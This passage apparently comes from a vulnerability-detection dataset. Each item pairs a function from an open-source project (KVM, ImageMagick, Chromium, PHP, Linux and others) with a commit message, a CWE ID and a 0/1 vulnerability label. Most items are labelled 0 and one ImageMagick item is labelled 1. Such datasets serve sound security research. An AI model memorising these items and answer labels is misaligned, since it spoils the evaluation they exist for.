fxsave->rdp = fpu->last_dp;
memcpy(fxsave->xmm_space, fpu->xmm, sizeof fxsave->xmm_space);
return 0;
}
Commit Message: KVM: x86: Reload pit counters for all channels when restoring state
Currently if userspace restores the pit counters with a count of 0
on channels 1 or 2 and the guest attempts to read the count on those
channels, then KVM will perform a mod of 0 and crash. This will ensure
that 0 values are converted to 65536 as per the spec.
This is CVE-2015-7513.
Signed-off-by: Andy Honig <ahonig@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID:
| 0
| 6,951
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static ssize_t FindColor(PixelPacket *pixel)
{
register ssize_t
i;
for (i=0; i < 256; i++)
if (ScaleQuantumToChar(GetPixelRed(pixel)) == PalmPalette[i][0] &&
ScaleQuantumToChar(GetPixelGreen(pixel)) == PalmPalette[i][1] &&
ScaleQuantumToChar(GetPixelBlue(pixel)) == PalmPalette[i][2])
return(i);
return(-1);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/574
CWE ID: CWE-772
| 0
| 6,311
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: Document::Document(const DocumentInit& initializer,
DocumentClassFlags document_classes)
: ContainerNode(nullptr, kCreateDocument),
TreeScope(*this),
has_nodes_with_placeholder_style_(false),
evaluate_media_queries_on_style_recalc_(false),
pending_sheet_layout_(kNoLayoutWithPendingSheets),
frame_(initializer.GetFrame()),
dom_window_(frame_ ? frame_->DomWindow() : nullptr),
imports_controller_(initializer.ImportsController()),
context_document_(initializer.ContextDocument()),
context_features_(ContextFeatures::DefaultSwitch()),
well_formed_(false),
printing_(kNotPrinting),
compatibility_mode_(kNoQuirksMode),
compatibility_mode_locked_(false),
has_autofocused_(false),
last_focus_type_(kWebFocusTypeNone),
had_keyboard_event_(false),
clear_focused_element_timer_(
GetTaskRunner(TaskType::kInternalUserInteraction),
this,
&Document::ClearFocusedElementTimerFired),
dom_tree_version_(++global_tree_version_),
style_version_(0),
listener_types_(0),
mutation_observer_types_(0),
visited_link_state_(VisitedLinkState::Create(*this)),
visually_ordered_(false),
ready_state_(kComplete),
parsing_state_(kFinishedParsing),
contains_validity_style_rules_(false),
contains_plugins_(false),
ignore_destructive_write_count_(0),
throw_on_dynamic_markup_insertion_count_(0),
ignore_opens_during_unload_count_(0),
markers_(new DocumentMarkerController(*this)),
update_focus_appearance_timer_(
GetTaskRunner(TaskType::kInternalUserInteraction),
this,
&Document::UpdateFocusAppearanceTimerFired),
css_target_(nullptr),
was_discarded_(false),
load_event_progress_(kLoadEventCompleted),
is_freezing_in_progress_(false),
start_time_(CurrentTime()),
script_runner_(ScriptRunner::Create(this)),
xml_version_("1.0"),
xml_standalone_(kStandaloneUnspecified),
has_xml_declaration_(0),
design_mode_(false),
is_running_exec_command_(false),
has_annotated_regions_(false),
annotated_regions_dirty_(false),
document_classes_(document_classes),
is_view_source_(false),
saw_elements_in_known_namespaces_(false),
is_srcdoc_document_(initializer.ShouldTreatURLAsSrcdocDocument()),
is_mobile_document_(false),
layout_view_(nullptr),
has_fullscreen_supplement_(false),
load_event_delay_count_(0),
load_event_delay_timer_(GetTaskRunner(TaskType::kNetworking),
this,
&Document::LoadEventDelayTimerFired),
plugin_loading_timer_(GetTaskRunner(TaskType::kInternalLoading),
this,
&Document::PluginLoadingTimerFired),
document_timing_(*this),
write_recursion_is_too_deep_(false),
write_recursion_depth_(0),
registration_context_(initializer.RegistrationContext(this)),
element_data_cache_clear_timer_(
GetTaskRunner(TaskType::kInternalUserInteraction),
this,
&Document::ElementDataCacheClearTimerFired),
timeline_(DocumentTimeline::Create(this)),
pending_animations_(new PendingAnimations(*this)),
worklet_animation_controller_(new WorkletAnimationController(this)),
template_document_host_(nullptr),
did_associate_form_controls_timer_(
GetTaskRunner(TaskType::kInternalLoading),
this,
&Document::DidAssociateFormControlsTimerFired),
timers_(GetTaskRunner(TaskType::kJavascriptTimer)),
has_viewport_units_(false),
parser_sync_policy_(kAllowAsynchronousParsing),
node_count_(0),
would_load_reason_(WouldLoadReason::kInvalid),
password_count_(0),
logged_field_edit_(false),
secure_context_state_(SecureContextState::kUnknown),
ukm_source_id_(ukm::UkmRecorder::GetNewSourceID()),
#if DCHECK_IS_ON()
slot_assignment_recalc_forbidden_recursion_depth_(0),
#endif
needs_to_record_ukm_outlive_time_(false),
viewport_data_(new ViewportData(*this)),
agent_cluster_id_(base::UnguessableToken::Create()) {
if (frame_) {
DCHECK(frame_->GetPage());
ProvideContextFeaturesToDocumentFrom(*this, *frame_->GetPage());
fetcher_ = frame_->Loader().GetDocumentLoader()->Fetcher();
FrameFetchContext::ProvideDocumentToContext(fetcher_->Context(), this);
CustomElementRegistry* registry =
frame_->DomWindow() ? frame_->DomWindow()->MaybeCustomElements()
: nullptr;
if (registry && registration_context_)
registry->Entangle(registration_context_);
} else if (imports_controller_) {
fetcher_ = FrameFetchContext::CreateFetcherFromDocument(this);
} else {
fetcher_ = ResourceFetcher::Create(nullptr);
}
DCHECK(fetcher_);
root_scroller_controller_ = RootScrollerController::Create(*this);
if (initializer.ShouldSetURL()) {
SetURL(initializer.Url());
} else {
UpdateBaseURL();
}
InitSecurityContext(initializer);
if (frame_)
frame_->Client()->DidSetFramePolicyHeaders(GetSandboxFlags(), {});
InitDNSPrefetch();
InstanceCounters::IncrementCounter(InstanceCounters::kDocumentCounter);
lifecycle_.AdvanceTo(DocumentLifecycle::kInactive);
style_engine_ = StyleEngine::Create(*this);
DCHECK(!ParentDocument() || !ParentDocument()->IsContextPaused());
#ifndef NDEBUG
liveDocumentSet().insert(this);
#endif
}
Commit Message: Inherit CSP when self-navigating to local-scheme URL
As the linked bug example shows, we should inherit CSP when we navigate
to a local-scheme URL (even if we are in a main browsing context).
Bug: 799747
Change-Id: I8413aa8e8049461ebcf0ffbf7b04c41d1340af02
Reviewed-on: https://chromium-review.googlesource.com/c/1234337
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#597889}
CWE ID:
| 0
| 29,074
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void vmxnet3_update_pm_state(VMXNET3State *s)
{
struct Vmxnet3_VariableLenConfDesc pm_descr;
PCIDevice *d = PCI_DEVICE(s);
pm_descr.confLen =
VMXNET3_READ_DRV_SHARED32(d, s->drv_shmem, devRead.pmConfDesc.confLen);
pm_descr.confVer =
VMXNET3_READ_DRV_SHARED32(d, s->drv_shmem, devRead.pmConfDesc.confVer);
pm_descr.confPA =
VMXNET3_READ_DRV_SHARED64(d, s->drv_shmem, devRead.pmConfDesc.confPA);
vmxnet3_dump_conf_descr("PM State", &pm_descr);
}
Commit Message:
CWE ID: CWE-200
| 0
| 1,545
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ZEND_API int zend_ts_hash_exists(TsHashTable *ht, zend_string *key)
{
int retval;
begin_read(ht);
retval = zend_hash_exists(TS_HASH(ht), key);
end_read(ht);
return retval;
}
Commit Message:
CWE ID:
| 0
| 27,867
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: smb_ofile_netinfo_encode(smb_ofile_t *of, uint8_t *buf, size_t buflen,
uint32_t *nbytes)
{
smb_netfileinfo_t fi;
int rc;
rc = smb_ofile_netinfo_init(of, &fi);
if (rc == 0) {
rc = smb_netfileinfo_encode(&fi, buf, buflen, nbytes);
smb_ofile_netinfo_fini(&fi);
}
return (rc);
}
Commit Message: 7483 SMB flush on pipe triggers NULL pointer dereference in module smbsrv
Reviewed by: Gordon Ross <gwr@nexenta.com>
Reviewed by: Matt Barden <matt.barden@nexenta.com>
Reviewed by: Evan Layton <evan.layton@nexenta.com>
Reviewed by: Dan McDonald <danmcd@omniti.com>
Approved by: Gordon Ross <gwr@nexenta.com>
CWE ID: CWE-476
| 0
| 12,268
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: R_API ut16 calculate_access_value(const char *access_flags_str, RBinJavaAccessFlags *access_flags) {
ut16 result = 0;
ut16 size = strlen (access_flags_str) + 1;
char *p_flags, *my_flags = malloc (size);
RBinJavaAccessFlags *iter = NULL;
if (size < 5 || !my_flags) {
free (my_flags);
return result;
}
memcpy (my_flags, access_flags_str, size);
p_flags = strtok (my_flags, " ");
while (p_flags && access_flags) {
int idx = 0;
do {
iter = &access_flags[idx];
if (!iter || !iter->str) {
continue;
}
if (iter->len > 0 && iter->len != 16) {
if (!strncmp (iter->str, p_flags, iter->len)) {
result |= iter->value;
}
}
idx++;
} while (access_flags[idx].str != NULL);
p_flags = strtok (NULL, " ");
}
free (my_flags);
return result;
}
Commit Message: Fix #10498 - Crash in fuzzed java file
CWE ID: CWE-125
| 0
| 16,381
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebMediaPlayerImpl::RecordEncryptionScheme(
const std::string& stream_name,
const EncryptionScheme& encryption_scheme) {
DCHECK(stream_name == "Audio" || stream_name == "Video");
if (encryption_scheme.mode() == EncryptionScheme::CIPHER_MODE_UNENCRYPTED)
return;
base::UmaHistogramEnumeration(
"Media.EME.EncryptionScheme.Initial." + stream_name,
DetermineEncryptionSchemeUMAValue(encryption_scheme),
EncryptionSchemeUMA::kCount);
}
Commit Message: Simplify "WouldTaintOrigin" concept in media/blink
Currently WebMediaPlayer has three predicates:
- DidGetOpaqueResponseFromServiceWorker
- HasSingleSecurityOrigin
- DidPassCORSAccessCheck
. These are used to determine whether the response body is available
for scripts. They are known to be confusing, and actually
MediaElementAudioSourceHandler::WouldTaintOrigin misuses them.
This CL merges the three predicates to one, WouldTaintOrigin, to remove
the confusion. Now the "response type" concept is available and we
don't need a custom CORS check, so this CL removes
BaseAudioContext::WouldTaintOrigin. This CL also renames
URLData::has_opaque_data_ and its (direct and indirect) data accessors
to match the spec.
Bug: 849942, 875153
Change-Id: I6acf50169d7445c4ff614e80ac606f79ee577d2a
Reviewed-on: https://chromium-review.googlesource.com/c/1238098
Reviewed-by: Fredrik Hubinette <hubbe@chromium.org>
Reviewed-by: Kinuko Yasuda <kinuko@chromium.org>
Reviewed-by: Raymond Toy <rtoy@chromium.org>
Commit-Queue: Yutaka Hirano <yhirano@chromium.org>
Cr-Commit-Position: refs/heads/master@{#598258}
CWE ID: CWE-732
| 0
| 6,303
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ExtensionDevToolsClientHost::SendMessageToBackend(
SendCommandDebuggerFunction* function,
const std::string& method,
Value* params) {
DictionaryValue protocol_request;
int request_id = ++last_request_id_;
pending_requests_[request_id] = function;
protocol_request.SetInteger("id", request_id);
protocol_request.SetString("method", method);
if (params)
protocol_request.Set("params", params->DeepCopy());
std::string json_args;
base::JSONWriter::Write(&protocol_request, false, &json_args);
DevToolsManager::GetInstance()->DispatchOnInspectorBackend(this, json_args);
}
Commit Message: Allow browser to handle all WebUI navigations.
BUG=113496
TEST="Google Dashboard" link in Sync settings loads in new process.
Review URL: http://codereview.chromium.org/9663045
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@126949 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 19,433
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PHP_FUNCTION(openssl_spki_export)
{
size_t spkstr_len;
char *spkstr = NULL, * spkstr_cleaned = NULL, * s = NULL;
int spkstr_cleaned_len;
EVP_PKEY *pkey = NULL;
NETSCAPE_SPKI *spki = NULL;
BIO *out = NULL;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &spkstr, &spkstr_len) == FAILURE) {
return;
}
RETVAL_FALSE;
if (spkstr == NULL) {
php_error_docref(NULL, E_WARNING, "Unable to use supplied SPKAC");
goto cleanup;
}
spkstr_cleaned = emalloc(spkstr_len + 1);
spkstr_cleaned_len = (int)(spkstr_len - openssl_spki_cleanup(spkstr, spkstr_cleaned));
if (spkstr_cleaned_len == 0) {
php_error_docref(NULL, E_WARNING, "Invalid SPKAC");
goto cleanup;
}
spki = NETSCAPE_SPKI_b64_decode(spkstr_cleaned, spkstr_cleaned_len);
if (spki == NULL) {
php_openssl_store_errors();
php_error_docref(NULL, E_WARNING, "Unable to decode supplied SPKAC");
goto cleanup;
}
pkey = X509_PUBKEY_get(spki->spkac->pubkey);
if (pkey == NULL) {
php_openssl_store_errors();
php_error_docref(NULL, E_WARNING, "Unable to acquire signed public key");
goto cleanup;
}
out = BIO_new(BIO_s_mem());
if (out && PEM_write_bio_PUBKEY(out, pkey)) {
BUF_MEM *bio_buf;
BIO_get_mem_ptr(out, &bio_buf);
RETVAL_STRINGL((char *)bio_buf->data, bio_buf->length);
} else {
php_openssl_store_errors();
}
goto cleanup;
cleanup:
if (spki != NULL) {
NETSCAPE_SPKI_free(spki);
}
if (out != NULL) {
BIO_free_all(out);
}
if (pkey != NULL) {
EVP_PKEY_free(pkey);
}
if (spkstr_cleaned != NULL) {
efree(spkstr_cleaned);
}
if (s != NULL) {
efree(s);
}
}
Commit Message:
CWE ID: CWE-754
| 0
| 12,954
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: MagickExport MagickBooleanType SetQuantumDepth(const Image *image,
QuantumInfo *quantum_info,const size_t depth)
{
size_t
extent,
quantum;
/*
Allocate the quantum pixel buffer.
*/
assert(image != (Image *) NULL);
assert(image->signature == MagickCoreSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
assert(quantum_info != (QuantumInfo *) NULL);
assert(quantum_info->signature == MagickCoreSignature);
quantum_info->depth=depth;
if (quantum_info->format == FloatingPointQuantumFormat)
{
if (quantum_info->depth > 32)
quantum_info->depth=64;
else
if (quantum_info->depth > 16)
quantum_info->depth=32;
else
quantum_info->depth=16;
}
if (quantum_info->pixels != (unsigned char **) NULL)
DestroyQuantumPixels(quantum_info);
quantum=(quantum_info->pad+6)*(quantum_info->depth+7)/8;
extent=image->columns*quantum;
if ((image->columns != 0) && (quantum != (extent/image->columns)))
return(MagickFalse);
return(AcquireQuantumPixels(quantum_info,extent));
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/105
CWE ID: CWE-369
| 1
| 9,669
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ResourceDispatcherHostImpl::BeginSaveFile(
const GURL& url,
const content::Referrer& referrer,
int child_id,
int route_id,
ResourceContext* context) {
if (is_shutdown_)
return;
char url_buf[128];
base::strlcpy(url_buf, url.spec().c_str(), arraysize(url_buf));
base::debug::Alias(url_buf);
CHECK(ContainsKey(active_resource_contexts_, context));
scoped_refptr<ResourceHandler> handler(
new SaveFileResourceHandler(child_id,
route_id,
url,
save_file_manager_.get()));
request_id_--;
const net::URLRequestContext* request_context = context->GetRequestContext();
bool known_proto =
request_context->job_factory()->IsHandledURL(url);
if (!known_proto) {
NOTREACHED();
return;
}
net::URLRequest* request = new net::URLRequest(url, this);
request->set_method("GET");
request->set_referrer(MaybeStripReferrer(referrer.url).spec());
webkit_glue::ConfigureURLRequestForReferrerPolicy(request, referrer.policy);
request->set_load_flags(net::LOAD_PREFERRING_CACHE);
request->set_context(context->GetRequestContext());
ResourceRequestInfoImpl* extra_info =
CreateRequestInfo(handler, child_id, route_id, false, context);
extra_info->AssociateWithRequest(request); // Request takes ownership.
BeginRequestInternal(request);
}
Commit Message: Inherits SupportsWeakPtr<T> instead of having WeakPtrFactory<T>
This change refines r137676.
BUG=122654
TEST=browser_test
Review URL: https://chromiumcodereview.appspot.com/10332233
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139771 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 23,510
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int ip_reply_glue_bits(void *dptr, char *to, int offset,
int len, int odd, struct sk_buff *skb)
{
__wsum csum;
csum = csum_partial_copy_nocheck(dptr+offset, to, len, 0);
skb->csum = csum_block_add(skb->csum, csum, odd);
return 0;
}
Commit Message: inet: add RCU protection to inet->opt
We lack proper synchronization to manipulate inet->opt ip_options
Problem is ip_make_skb() calls ip_setup_cork() and
ip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),
without any protection against another thread manipulating inet->opt.
Another thread can change inet->opt pointer and free old one under us.
Use RCU to protect inet->opt (changed to inet->inet_opt).
Instead of handling atomic refcounts, just copy ip_options when
necessary, to avoid cache line dirtying.
We cant insert an rcu_head in struct ip_options since its included in
skb->cb[], so this patch is large because I had to introduce a new
ip_options_rcu structure.
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362
| 0
| 5,447
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int lib_get_descriptor(const effect_uuid_t *uuid,
effect_descriptor_t *pDescriptor)
{
const effect_descriptor_t *desc;
if (pDescriptor == NULL || uuid == NULL)
return -EINVAL;
if (init() != 0)
return init_status;
desc = get_descriptor(uuid);
if (desc == NULL) {
ALOGV("lib_get_descriptor() not found");
return -EINVAL;
}
ALOGV("lib_get_descriptor() got fx %s", desc->name);
*pDescriptor = *desc;
return 0;
}
Commit Message: DO NOT MERGE Fix AudioEffect reply overflow
Bug: 28173666
Change-Id: I055af37a721b20c5da0f1ec4b02f630dcd5aee02
CWE ID: CWE-119
| 0
| 25,248
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool NaClProcessHost::LaunchNaClGdb(base::ProcessId pid) {
CommandLine::StringType nacl_gdb =
CommandLine::ForCurrentProcess()->GetSwitchValueNative(
switches::kNaClGdb);
CommandLine::StringVector argv;
base::SplitString(nacl_gdb, static_cast<CommandLine::CharType>(' '), &argv);
CommandLine cmd_line(argv);
cmd_line.AppendArg("--eval-command");
const FilePath::StringType& irt_path =
NaClBrowser::GetInstance()->GetIrtFilePath().value();
cmd_line.AppendArgNative(FILE_PATH_LITERAL("nacl-irt ") + irt_path);
FilePath manifest_path = GetManifestPath();
if (!manifest_path.empty()) {
cmd_line.AppendArg("--eval-command");
cmd_line.AppendArgNative(FILE_PATH_LITERAL("nacl-manifest ") +
manifest_path.value());
}
cmd_line.AppendArg("--eval-command");
cmd_line.AppendArg("attach " + base::IntToString(pid));
int fds[2];
if (pipe(fds) != 0)
return false;
cmd_line.AppendArg("--eval-command");
cmd_line.AppendArg("dump binary value /proc/" +
base::IntToString(base::GetCurrentProcId()) +
"/fd/" + base::IntToString(fds[1]) + " (char)0");
FilePath script = CommandLine::ForCurrentProcess()->GetSwitchValuePath(
switches::kNaClGdbScript);
if (!script.empty()) {
cmd_line.AppendArg("--command");
cmd_line.AppendArgNative(script.value());
}
nacl_gdb_watcher_delegate_.reset(
new NaClGdbWatchDelegate(
fds[0], fds[1],
base::Bind(&NaClProcessHost::OnNaClGdbAttached,
weak_factory_.GetWeakPtr())));
MessageLoopForIO::current()->WatchFileDescriptor(
fds[0],
true,
MessageLoopForIO::WATCH_READ,
&nacl_gdb_watcher_,
nacl_gdb_watcher_delegate_.get());
return base::LaunchProcess(cmd_line, base::LaunchOptions(), NULL);
}
Commit Message: Revert 143656 - Add an IPC channel between the NaCl loader process and the renderer.
BUG=116317
TEST=ppapi, nacl tests, manual testing for experimental IPC proxy.
Review URL: https://chromiumcodereview.appspot.com/10641016
TBR=bbudge@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10625007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@143665 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 14,301
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PHP_FUNCTION(stripcslashes)
{
zend_string *str;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "S", &str) == FAILURE) {
return;
}
ZVAL_STRINGL(return_value, ZSTR_VAL(str), ZSTR_LEN(str));
php_stripcslashes(Z_STR_P(return_value));
}
Commit Message:
CWE ID: CWE-17
| 0
| 12,780
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int encode_getfattr(struct xdr_stream *xdr, const u32* bitmask)
{
return encode_getattr_two(xdr,
bitmask[0] & nfs4_fattr_bitmap[0],
bitmask[1] & nfs4_fattr_bitmap[1]);
}
Commit Message: NFSv4: Convert the open and close ops to use fmode
Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
CWE ID:
| 0
| 6,991
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void NaClProcessHost::OnProcessLaunchedByBroker(base::ProcessHandle handle) {
set_handle(handle);
OnProcessLaunched();
}
Commit Message: Fix a small leak in FileUtilProxy
BUG=none
TEST=green mem bots
Review URL: http://codereview.chromium.org/7669046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97451 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 493
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: Clear_Display( void )
{
long bitmap_size = (long)bit.pitch * bit.rows;
if ( bitmap_size < 0 )
bitmap_size = -bitmap_size;
memset( bit.buffer, 0, bitmap_size );
}
Commit Message:
CWE ID: CWE-119
| 0
| 24,069
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool GlobalHistogramAllocator::WriteToPersistentLocation() {
#if defined(OS_NACL)
NOTREACHED();
return false;
#else
if (persistent_location_.empty()) {
NOTREACHED() << "Could not write \"" << Name() << "\" persistent histograms"
<< " to file because no location was set.";
return false;
}
StringPiece contents(static_cast<const char*>(data()), used());
if (!ImportantFileWriter::WriteFileAtomically(persistent_location_,
contents)) {
LOG(ERROR) << "Could not write \"" << Name() << "\" persistent histograms"
<< " to file: " << persistent_location_.value();
return false;
}
return true;
#endif
}
Commit Message: Remove UMA.CreatePersistentHistogram.Result
This histogram isn't showing anything meaningful and the problems it
could show are better observed by looking at the allocators directly.
Bug: 831013
Change-Id: Ibe968597758230192e53a7675e7390e968c9e5b9
Reviewed-on: https://chromium-review.googlesource.com/1008047
Commit-Queue: Brian White <bcwhite@chromium.org>
Reviewed-by: Alexei Svitkine <asvitkine@chromium.org>
Cr-Commit-Position: refs/heads/master@{#549986}
CWE ID: CWE-264
| 0
| 5,880
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void AffineTransform::setMatrix(double a, double b, double c, double d, double e, double f)
{
m_transform[0] = a;
m_transform[1] = b;
m_transform[2] = c;
m_transform[3] = d;
m_transform[4] = e;
m_transform[5] = f;
}
Commit Message: Avoid using forced layout to trigger paint invalidation for SVG containers
Currently, SVG containers in the LayoutObject hierarchy force layout of
their children if the transform changes. The main reason for this is to
trigger paint invalidation of the subtree. In some cases - changes to the
scale factor - there are other reasons to trigger layout, like computing
a new scale factor for <text> or re-layout nodes with non-scaling stroke.
Compute a "scale-factor change" in addition to the "transform change"
already computed, then use this new signal to determine if layout should
be forced for the subtree. Trigger paint invalidation using the
LayoutObject flags instead.
The downside to this is that paint invalidation will walk into "hidden"
containers which rarely require repaint (since they are not technically
visible). This will hopefully be rectified in a follow-up CL.
For the testcase from 603850, this essentially eliminates the cost of
layout (from ~350ms to ~0ms on authors machine; layout cost is related
to text metrics recalculation), bumping frame rate significantly.
BUG=603956,603850
Review-Url: https://codereview.chromium.org/1996543002
Cr-Commit-Position: refs/heads/master@{#400950}
CWE ID:
| 0
| 29,707
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: des_cipher(const char *in, char *out, long salt, int count)
{
uint32 buffer[2];
uint32 l_out,
r_out,
rawl,
rawr;
int retval;
if (!des_initialised)
des_init();
setup_salt(salt);
/* copy data to avoid assuming input is word-aligned */
memcpy(buffer, in, sizeof(buffer));
rawl = ntohl(buffer[0]);
rawr = ntohl(buffer[1]);
retval = do_des(rawl, rawr, &l_out, &r_out, count);
buffer[0] = htonl(l_out);
buffer[1] = htonl(r_out);
/* copy data to avoid assuming output is word-aligned */
memcpy(out, buffer, sizeof(buffer));
return (retval);
}
Commit Message:
CWE ID: CWE-310
| 0
| 1,588
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void _php_libxml_destroy_fci(zend_fcall_info *fci)
{
if (fci->size > 0) {
zval_ptr_dtor(&fci->function_name);
if (fci->object_ptr != NULL) {
zval_ptr_dtor(&fci->object_ptr);
}
fci->size = 0;
}
}
Commit Message:
CWE ID:
| 0
| 27,646
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int __net_init ipv4_frags_init_net(struct net *net)
{
/*
* Fragment cache limits. We will commit 256K at one time. Should we
* cross that limit we will prune down to 192K. This should cope with
* even the most extreme cases without allowing an attacker to
* measurably harm machine performance.
*/
net->ipv4.frags.high_thresh = 256 * 1024;
net->ipv4.frags.low_thresh = 192 * 1024;
/*
* Important NOTE! Fragment queue must be destroyed before MSL expires.
* RFC791 is wrong proposing to prolongate timer each fragment arrival
* by TTL.
*/
net->ipv4.frags.timeout = IP_FRAG_TIME;
inet_frags_init_net(&net->ipv4.frags);
return ip4_frags_ns_ctl_register(net);
}
Commit Message: net: ip_expire() must revalidate route
Commit 4a94445c9a5c (net: Use ip_route_input_noref() in input path)
added a bug in IP defragmentation handling, in case timeout is fired.
When a frame is defragmented, we use last skb dst field when building
final skb. Its dst is valid, since we are in rcu read section.
But if a timeout occurs, we take first queued fragment to build one ICMP
TIME EXCEEDED message. Problem is all queued skb have weak dst pointers,
since we escaped RCU critical section after their queueing. icmp_send()
might dereference a now freed (and possibly reused) part of memory.
Calling skb_dst_drop() and ip_route_input_noref() to revalidate route is
the only possible choice.
Reported-by: Denys Fedoryshchenko <denys@visp.net.lb>
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID:
| 0
| 25,010
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static bool ldap_encode_control(void *mem_ctx, struct asn1_data *data,
const struct ldap_control_handler *handlers,
struct ldb_control *ctrl)
{
DATA_BLOB value;
int i;
if (!handlers) {
return false;
}
for (i = 0; handlers[i].oid != NULL; i++) {
if (!ctrl->oid) {
/* not encoding this control, the OID has been
* set to NULL indicating it isn't really
* here */
return true;
}
if (strcmp(handlers[i].oid, ctrl->oid) == 0) {
if (!handlers[i].encode) {
if (ctrl->critical) {
return false;
} else {
/* not encoding this control */
return true;
}
}
if (!handlers[i].encode(mem_ctx, ctrl->data, &value)) {
return false;
}
break;
}
}
if (handlers[i].oid == NULL) {
return false;
}
if (!asn1_push_tag(data, ASN1_SEQUENCE(0))) {
return false;
}
if (!asn1_write_OctetString(data, ctrl->oid, strlen(ctrl->oid))) {
return false;
}
if (ctrl->critical) {
if (!asn1_write_BOOLEAN(data, ctrl->critical)) {
return false;
}
}
if (!ctrl->data) {
goto pop_tag;
}
if (!asn1_write_OctetString(data, value.data, value.length)) {
return false;
}
pop_tag:
if (!asn1_pop_tag(data)) {
return false;
}
return true;
}
Commit Message:
CWE ID: CWE-399
| 0
| 10,376
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct dentry *proc_attr_dir_lookup(struct inode *dir,
struct dentry *dentry, unsigned int flags)
{
return proc_pident_lookup(dir, dentry,
attr_dir_stuff, ARRAY_SIZE(attr_dir_stuff));
}
Commit Message: proc: prevent accessing /proc/<PID>/environ until it's ready
If /proc/<PID>/environ gets read before the envp[] array is fully set up
in create_{aout,elf,elf_fdpic,flat}_tables(), we might end up trying to
read more bytes than are actually written, as env_start will already be
set but env_end will still be zero, making the range calculation
underflow, allowing to read beyond the end of what has been written.
Fix this as it is done for /proc/<PID>/cmdline by testing env_end for
zero. It is, apparently, intentionally set last in create_*_tables().
This bug was found by the PaX size_overflow plugin that detected the
arithmetic underflow of 'this_len = env_end - (env_start + src)' when
env_end is still zero.
The expected consequence is that userland trying to access
/proc/<PID>/environ of a not yet fully set up process may get
inconsistent data as we're in the middle of copying in the environment
variables.
Fixes: https://forums.grsecurity.net/viewtopic.php?f=3&t=4363
Fixes: https://bugzilla.kernel.org/show_bug.cgi?id=116461
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Emese Revfy <re.emese@gmail.com>
Cc: Pax Team <pageexec@freemail.hu>
Cc: Al Viro <viro@zeniv.linux.org.uk>
